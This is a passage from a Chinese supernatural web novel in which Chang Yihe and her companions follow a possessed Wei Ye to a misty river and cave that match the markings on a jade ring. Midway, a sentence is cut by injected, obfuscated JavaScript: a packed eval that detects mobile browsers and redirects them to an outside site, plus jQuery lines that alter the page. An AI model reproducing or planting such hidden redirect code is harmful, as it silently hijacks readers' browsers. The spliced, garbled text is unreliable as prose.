小丢听到这首歌,怎么不知道卫也肯定发生点什么,极有可能像是前天晚上,有精怪化成常意禾样子作乱那种情况。
他快速比划:【不行啊师父!我们快下车!】
常意禾却伸手挡住小丢的手,眼睛一直没有在卫也身上离开过。
她平静地问:“我没听过,这首歌你是从哪里听来的?”
卫也这时终于舍得将眼神从眼前的路,分给了后座的常意禾。
只见在后视镜中,他很轻地笑了笑,眼神充满了然和期待。
“我们快到了,阿禾,准备下车吧。”
卫也没回答这个问题,只说了这么一句。
常意禾没有因为歌谣,却因他那个眼神,而蹙起了眉心。
她改变询问:“你怎么知道快到了呢?”
卫也:“就是知道了。”
“好了,我们下车吧。”
话音落下,车子也停了下来,这时车辆驶进仙阳村的地界,停在一条无人的蜿蜒村路。
路两侧有野田,杂草丛生,而田的边缘有绿山衔接,山势起伏,连绵成一片。
常意禾望着窗外陌生的安静的景色,抿了抿嘴,对已经渐渐害怕起来的小丢说:“下车吧,都已经带到这里,就像做好的菜一样,是咸是淡都要尝一口……”
在常意禾他们下车时,周夕林的车刚刚停稳,他不知情刚才车里发生什么,还好奇地从车窗中探出头。
“怎么停下来了?到了?”
小丢觑了眼身旁的常意禾,见到她面不改容地点头。
“嗯,到了,都下来吧,周夕林你和明哥看着舅公。”
“行,我都知道的。”
话毕,周夕林熄火下了车,与明哥一起扶着异常沉默的河田玉下车。
河田玉现在双目还由着纱布包裹着,避免因看到什么东西而受刺激。
但不得不说,从昨天下午起,他用水画完一幅鱼目女仙图后,河田玉整个人就陷入一种诡异的平静。
就像是人身与世界隔离开。
常意禾望着不远处的河田玉,视线又移到背对他们,眺望山脉的卫也。
他似乎不在意常意禾的安排,专心在进山这件事中。
常意禾从包里拿出红盒子,打开一看,里头的戒指仍在。
她拿出戒指,迎着光举了起来,再次观察起里面的戒身。
今天日光和煦剔透,光芒穿过质地上乘的戒指,像是给里面静止的山水线条镀了层柔光。
常意禾盯着这些线条,忽然偏头望向卫也所看方向的山脉。
‘有相像的地方,就差水了……’她在心里头默默说出这一句。
就在这时候,卫也转过身来,视线一下子落在常意禾手中的戒指,嘴角的弧度加深。
“阿禾,那个戒指很适合你,你应该戴上的。”
这番莫名的话,成功让不知情的周夕林和明哥面面相觑。
两人都感觉到卫也的不对劲。
周夕林看着卫也拿好自己的东西,孤身先出发了。
他急忙跑过来,压低声音也遮掩不了震惊:“我草,卫也这是有问题吧?”
“会不会是你说的前晚扮演你的精怪又搞鬼?”
常意禾盯着卫也走远的身影,慢慢跟上:“应该不是精怪变的,但似乎是有同一种东西在影响他,譬如昨天我们见到的鱼目女仙……”
周夕林听到后半句,懵在原地,等反应过来,急忙忙地拉住她。
“常姑奶奶你疯啦!明知他有问题,还跟上去?!”
常意禾拉开他的手,心平气和解释:“他有问题,我们就借势查下去,要不然这件事什么时候才能查到底?”
“昨晚卫也出去调查时掉进水里,眼睛也开始变化了……”
“加上他舅公的身体变化,我们已经没多少时间。”
周夕林怔愣:“可万一事情弄得更糟……”
“周夕林!”常意禾打断他,“卫也出现异常,不就说明有东西也按捺不住了么?它要出现的时候,我们是拦不住的。”
常意禾这话也是说给身旁的小丢听。
她重新迈步,同时吩咐小丢:“你将位置共享给明叔他们。”
小丢犹豫地点点头。
后头的明哥不清楚自家老板请回来的师傅们,为什么在商量完事情后,一个赛一个神情凝重,但他也能感受到卫也的异常,心里起了防备,悄悄将武器放在更能随手拿到的地方。
一行人就这样维持着一种脆弱的安静,往山头走去。
……
进山后,卫也如同逛着自家院子,熟悉地行走。
然而,他不往高处走,只在山底下走动,偶尔会爬高一些,但也到达不了半山腰。
常意禾和周夕林作为寻骨师,小时候山林训练都是必须要有的,眼下这种山还不算难走,唯一需要注意的是蛇虫。
而明哥作为专业保镖,这些路也走过不少,因此三人不约而同地在路上做标记,为自己留下后手。
一行人越走越深入,不知过了多久,放眼望去,前后都只剩下山林,深绿一片,云雾缭绕叠叠山峰之间,人类置身其中,有种渺小和迷茫感。
常意禾收回视线,看向自进山后鲜少说话的卫也。
她想了想,微微拔高声音问:“卫也,我们现在前往哪里?还有多久才到?”
卫也没有回头,只说:“快到有水的地方了。”
常意禾与小丢对视一眼,她打了个手语:【现在你对卫也还有那种奇怪的感觉吗?】
小丢毫不犹豫点头。
【感觉越来越强烈了……】
常意禾慢慢皱起眉头,小丢的反应还在,说明越往深处走,卫也被某种东西控制得越厉害。
不过从接触玉戒指开始到现在,一直只有小丢产生这种反应,这也十分奇怪。
这件事等常意禾解决完这次委托后,必须好好查个清楚。
【做好看守的准备,待会我可能会换卫也的骨。】
常意禾将她的计算,用手语告诉给小丢。
小丢惊讶地瞪大眼,想要问为什么。
但下一秒,常意禾包裹住他的手,拦住了他的表达。
“听我的。”
她冷哑的声音充满不容拒绝的意味。
周夕林和明哥都不懂手语,一时之间,也不知道常意禾竟然生出这样胆大的心思,只感觉到常意禾应该安排了些事,让小丢单独做。
小丢抿紧了嘴角。
他心想常意禾真要一意孤行,他干嘛要拦着对方,本来他们两人之间也没有多少师徒情。
真出事了,他就赶紧逃。
小丢在心中下定决心。
他缓缓点了点头,表示自己没有问题。
常意禾松开自己的手,慢慢加快速度追上最前面的卫也。
大约走了5分钟,林丛消失,交叉纵横的丛木外有更多的光,水流声亦清晰地从外头响起。
“到了。”卫也简短地说了句。
大家面面相觑,但走到这里,前头极有可能是他们找寻的真相,这一刻,他们都定了定心,穿过荆棘林丛。
只见林丛之后是一条泛着碎光的流河,河宽约10米,阳光落在水中,竟有丝丝缕缕的雾气从水里、大地里升腾起来,林野中有鸟在清亮地鸣叫,让人误以为置身在仙境中。
而河的对面,一口宽大的发洞穴正对他们,漂浮的雾都直直往洞里灌去。
洞里,雾更重了。
隐约间,雾里透出被遮掩的建筑物一角,古朴森然,如同沉寂多年的野怪在暗中窥伺。
浓雾一并遮掩洞前的大片山地,与前方的水流融合,模糊了地界,似水流大片漫入洞中。
见到这一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175479|161671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
幕,常意禾的脚步顿了顿。
这里的山水排布,与戒身中线条画一致。
另一边,卫也没有立即淌过河,他回头望向众人,最后目光落在河田玉身上。
他走了过去,执起河田玉的手,温声说:“舅公,我们到了,来,跟我一起走。”
说完,他便牵着河田玉往河水中走。
河田玉也顺从地跟随着。
常意禾看到这一幕,立马想起昨晚卫也掉进水后的变化,一股强烈的直觉油然升起。
“不对,不能过去!”她大喊一声。
离河田玉最近的明哥瞬间反应过来,一把拉住河田玉的另一只手,把老人的身体都扯了一个趔跄。
这时,卫也已经一脚迈入水中,他回头微笑地盯看出言拦阻的常意禾,手却没有从河田玉身上松开。
“阿禾,你为什么要阻止舅公过去呢?”
“他要过去了,他一生都在等着这个时机。”
卫也说着意味不明的话。
常意禾与他对视,似乎听明白他话中的隐喻。
“不,如果我现在不阻止,你会恨我的。”
但身边的周夕林顾不了他们打什么谜语了,急忙跑过去帮忙明哥,一人拉着河田玉的手,另一人箍着腰,生怕河田玉进水了。
他们多少能感觉到河田玉一旦进了水,就不止双目变成鱼眼睛那么简单了。
卫也看到他们那么坚持,很轻地叹了口气。
他松开手,但突然解开绑着河田玉眼睛处的纱布。
“舅公,那你呢?你的意思是什么?”
河田玉的双目全被厚重的白翳覆盖,眼角长出类似鱼的鳞片。
一路沉默的他终于开了口,声音中充满惶恐。
“鱼来了…… 我不要变成……”
“鱼。”
听到这个答复,卫也又叹息一声。
他重新迈入水中,他只说了一句:“找人背起来吧,不让他接触水。”
常意禾眼神示意明哥,明哥立即弯腰背起不停呢喃的河田玉。
几人对视,愈发感受到有诡异的存在隐身在卫也身体里,正控制着他的一言一行。
但这个存在似乎有点好说话。
明哥托好河田玉的身体,由着周夕林在旁小心翼翼地护着前进。
常意禾等人终于下了水。
水流冰凉,不停冲刷他们的小腿,很快他们感觉到双足下的触感变得软绵,犹如踩着云团,让人快要站不稳。
明哥心中骇然,脚步一个趔趄,差点带着河田玉一同倒下,幸好身旁的周夕林察觉,立马扶着他们。
“常小姐,这河站不稳啊……”明哥语气凝重地说。
这时他们几人才来到河流中间。
常意禾不知想起什么,她从口袋里取出一把利刃,毫不犹豫地在手心里划拉一刀。
鲜血顿时涌出,淅沥沥地沿着纹路滴下到水流中。
“试试握着我这只手。”
明哥不敢耽误,连忙握着浸满血的手。
神奇的是,当他握紧这只手时,脚下那股无着力的感觉骤然消失,他有种回到地面的踏实感。
明哥连忙点头:“好了!”
“这怎么办到的?”他忍不住问。
常意禾没回答,这时,卫也已经淌过这条诡异的河流,转身一看,就看到这幕。
他的视线落在常意禾流血的手,眼里闪过一丝了然。
“你还记得。”他突然说了这么一句。
常意禾牢牢抓紧明哥的手掌,反问:“我还记得什么?”
卫也笑而不语,安静地立在河边,等待他们逐一过来。
等常意禾他们陆陆续续走到了河的这一边,卫也这才重新说起话。
“你们运气真好,能够来到这边。”
“走吧,我们快来不及了。”